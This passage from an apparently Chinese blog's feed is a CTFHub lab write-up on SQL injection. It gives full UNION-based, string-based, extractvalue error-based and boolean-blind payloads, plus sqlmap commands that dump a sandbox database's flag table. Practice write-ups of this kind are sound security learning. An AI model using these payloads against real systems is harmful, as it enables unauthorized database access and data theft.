src="/2025.5.22-SQL%E6%B3%A8%E5%85%A5(%E4%B8%80)/image-20250523212525276.png" alt="image-20250523212525276"></p><p><img src="/2025.5.22-SQL%E6%B3%A8%E5%85%A5(%E4%B8%80)/image-20250523212606446.png" alt="image-20250523212606446"></p><p>有回显，<code>order by</code>判断列数。当为3时没回显，列数为2</p><p><img src="/2025.5.22-SQL%E6%B3%A8%E5%85%A5(%E4%B8%80)/image-20250523212844068.png" alt="image-20250523212844068"></p><figure class="highlight plaintext"><figcaption><span>union select 1,database()```查询当前数据库名</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">![image-20250523220015040](2025.5.22-SQL注入(一)/image-20250523220015040.png)</span><br><span class="line"></span><br><span class="line">```-1 union select 1,group_concat(schema_name)from information_schema.schemata```，查询所有数据库名</span><br><span class="line"></span><br><span class="line">![image-20250523220313245](2025.5.22-SQL注入(一)/image-20250523220313245.png)</span><br><span class="line"></span><br><span class="line">```-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema=&#x27;sqli&#x27;```查询sqli数据库的表</span><br><span class="line"></span><br><span class="line">![image-20250523220427409](2025.5.22-SQL注入(一)/image-20250523220427409.png)</span><br><span class="line"></span><br><span class="line">```-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=&#x27;sqli&#x27; and table_name=&#x27;flag&#x27;```获取falg表的列</span><br><span class="line"></span><br><span class="line">![image-20250523221156413](2025.5.22-SQL注入(一)/image-20250523221156413.png)</span><br><span class="line"></span><br><span class="line">```-1 union select 1,group_concat(flag) from sqli.flag```获取flag列的内容</span><br><span class="line"></span><br><span class="line">![image-20250523221240186](2025.5.22-SQL注入(一)/image-20250523221240186.png)</span><br><span class="line"></span><br><span class="line">## 字符型注入</span><br><span class="line"></span><br><span class="line">![image-20250523223554365](2025.5.22-SQL注入(一)/image-20250523223554365.png)</span><br><span class="line"></span><br><span class="line">输入1</span><br><span class="line"></span><br><span class="line">![image-20250523223626169](2025.5.22-SQL注入(一)/image-20250523223626169.png)</span><br><span class="line"></span><br><span class="line">```1&#x27;-- &#x27;```看一下，发现可以</span><br><span class="line"></span><br><span class="line">![image-20250523223734632](2025.5.22-SQL注入(一)/image-20250523223734632.png)</span><br><span class="line"></span><br><span class="line">```order by```判断列数，3时没回显，字段数为2</span><br><span class="line"></span><br><span class="line">![image-20250523224150201](2025.5.22-SQL注入(一)/image-20250523224150201.png)</span><br><span class="line"></span><br><span class="line">```-1&#x27; union select 1,group_concat(schema_name) from information_schema.schemata -- ‘```查询数据库名</span><br><span class="line"></span><br><span class="line">![image-20250523224313259](2025.5.22-SQL注入(一)/image-20250523224313259.png)</span><br><span class="line"></span><br><span class="line">上题flag是放sqli,这题先看sqli的表```-1&#x27; union select 1,group_concat(table_name) from information_schema.tables where table_schema=&#x27;sqli&#x27; -- &#x27;```</span><br><span class="line"></span><br><span class="line">![image-20250523224447291](2025.5.22-SQL注入(一)/image-20250523224447291.png)</span><br><span class="line"></span><br><span class="line">```-1&#x27; union select 1,group_concat(column_name) from information_schema.columns where table_name=&#x27;flag&#x27; #&#x27;&#x27;```看falg中的列</span><br><span class="line"></span><br><span class="line">![image-20250523224656180](2025.5.22-SQL注入(一)/image-20250523224656180.png)</span><br><span class="line"></span><br><span class="line">```-1&#x27; union select 1,flag from sqli.flag -- &#x27;```获取内容</span><br><span class="line"></span><br><span class="line">![image-20250523224730903](2025.5.22-SQL注入(一)/image-20250523224730903.png)</span><br><span class="line"></span><br><span class="line">## 报错注入</span><br><span class="line"></span><br><span class="line">```sql</span><br><span class="line">EXTRACTVALUE(xml_frag, xpath_expr)</span><br></pre></td></tr></table></figure><ul><li><code>xml_frag</code> 代表 XML 文档或者片段。</li><li><code>xpath_expr</code> 是 XPath 表达式，其作用是指定要提取的节点。</li></ul><p><img src="/2025.5.22-SQL%E6%B3%A8%E5%85%A5(%E4%B8%80)/image-20250523230419286.png" alt="image-20250523230419286"></p><p>输入1和任意内容试一下</p><p><img src="/2025.5.22-SQL%E6%B3%A8%E5%85%A5(%E4%B8%80)/image-20250523230319395.png" alt="image-20250523230319395"></p><p><img src="/2025.5.22-SQL%E6%B3%A8%E5%85%A5(%E4%B8%80)/image-20250523230335248.png" alt="image-20250523230335248"></p><p>用extractvalue()报错看一下<code>1 and extractvalue(1,concat(0x7e,database(),0x7e))</code>，获取数据库名</p><p><img src="/2025.5.22-SQL%E6%B3%A8%E5%85%A5(%E4%B8%80)/image-20250523231052408.png" alt="image-20250523231052408"></p><p>暴表名<code>1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))</code></p><p><img src="/2025.5.22-SQL%E6%B3%A8%E5%85%A5(%E4%B8%80)/image-20250523231223530.png" alt="image-20250523231223530"></p><p>暴列名<code>1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=&#39;flag&#39;),0x7e))</code></p><p><img src="/2025.5.22-SQL%E6%B3%A8%E5%85%A5(%E4%B8%80)/image-20250523231345971.png" alt="image-20250523231345971"></p><p>暴内容<code>1 and extractvalue(1,concat(0x7e,(select flag from flag),0x7e))</code></p><p><img src="/2025.5.22-SQL%E6%B3%A8%E5%85%A5(%E4%B8%80)/image-20250523231503659.png" alt="image-20250523231503659"></p><p>好像缺点，用select ，<code>1 and extractvalue(1,(select flag from flag))</code></p><p><img src="/2025.5.22-SQL%E6%B3%A8%E5%85%A5(%E4%B8%80)/image-20250523231642459.png" alt="image-20250523231642459"></p><h2 id="布尔盲注"><a href="#布尔盲注" class="headerlink" title="布尔盲注"></a>布尔盲注</h2><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">substr(str,<span class="keyword">from</span>,length)</span><br></pre></td></tr></table></figure><ul><li><p><strong><code>str</code></strong>：表示要进行截取操作的原始字符串。</p></li><li><p><code>from</code></p><p>：指定开始截取的位置，该位置是从 1 开始计数的。</p><ul><li>若 <code>from</code> 为正数，则从字符串的左侧开始计数。</li><li>若 <code>from</code> 为负数，则从字符串的右侧开始计数。</li><li>若 <code>from</code> 为 0，则会被视为 1。</li></ul></li><li><p><strong><code>length</code></strong>（可选）：用于指定要截取的字符长度。如果省略该参数，则会截取从 <code>from</code> 位置到字符串末尾的所有字符。</p></li></ul><p><img src="/2025.5.22-SQL%E6%B3%A8%E5%85%A5(%E4%B8%80)/image-20250524002435952.png" alt="image-20250524002435952"></p><p><img src="/2025.5.22-SQL%E6%B3%A8%E5%85%A5(%E4%B8%80)/image-20250524002500301.png" alt="image-20250524002500301"></p><p>这题用的sqlmap做的</p><p>先跑数据库</p><p><code>python sqlmap.py -u &quot;http://challenge-9eb3f855ce03de28.sandbox.ctfhub.com:10800/?id=1&quot; --dbs</code></p><p><img src="/2025.5.22-SQL%E6%B3%A8%E5%85%A5(%E4%B8%80)/image-20250524010256437.png" alt="image-20250524010256437"></p><p>再跑sqli库中的表</p><p><code>python sqlmap.py -u http://challenge-9eb3f855ce03de28.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables</code></p><p><img src="/2025.5.22-SQL%E6%B3%A8%E5%85%A5(%E4%B8%80)/image-20250524011043478.png" alt="image-20250524011043478"></p><p>最后是获取内容</p><p>先看列，发现只有一个fk的字段，但是提取它的内容是空的（实际数据是放在flag字段，不知道为啥不显示）</p><p><code>python sqlmap.py -u &quot;http://challenge-9eb3f855ce03de28.sandbox.ctfhub.com:10800/?id=1&quot; -D sqli -T flag --columns</code></p><p><img src="/2025.5.22-SQL%E6%B3%A8%E5%85%A5(%E4%B8%80)/image-20250524013932810.png" alt="image-20250524013932810"></p><p>导出flag列的内容（布尔是真慢呀，一个字母就要跑老久ε&#x3D;(´ο｀*)))）</p><p><code>python sqlmap.py -u &quot;http://challenge-9eb3f855ce03de28.sandbox.ctfhub.com:10800/?id=1&quot; -T flag -C flag --dump</code></p><p><img src="/2025.5.22-SQL%E6%B3%A8%E5%85%A5(%E4%B8%80)/image-20250524014418753.png" alt="image-20250524014418753"></p>]]>
    </content>
    <id>https://blog.ziworld.top/2025/05/22/2025-5-22-SQL%E6%B3%A8%E5%85%A5(%E4%B8%80)/</id>
    <link href="https://blog.ziworld.top/2025/05/22/2025-5-22-SQL%E6%B3%A8%E5%85%A5(%E4%B8%80)/"/>
    <published>2025-05-22T12:28:00.000Z</published>
    <summary>
      <![CDATA[<h1 id="靶场搭建"><a href="#靶场搭建" class="headerlink" title="靶场搭建"></a>靶场搭建</h1><p>项目:<a]]>
    </summary>
    <title>SQL注入(一)</title>
    <updated>2026-03-09T09:40:18.977Z</updated>
  </entry>
</feed>
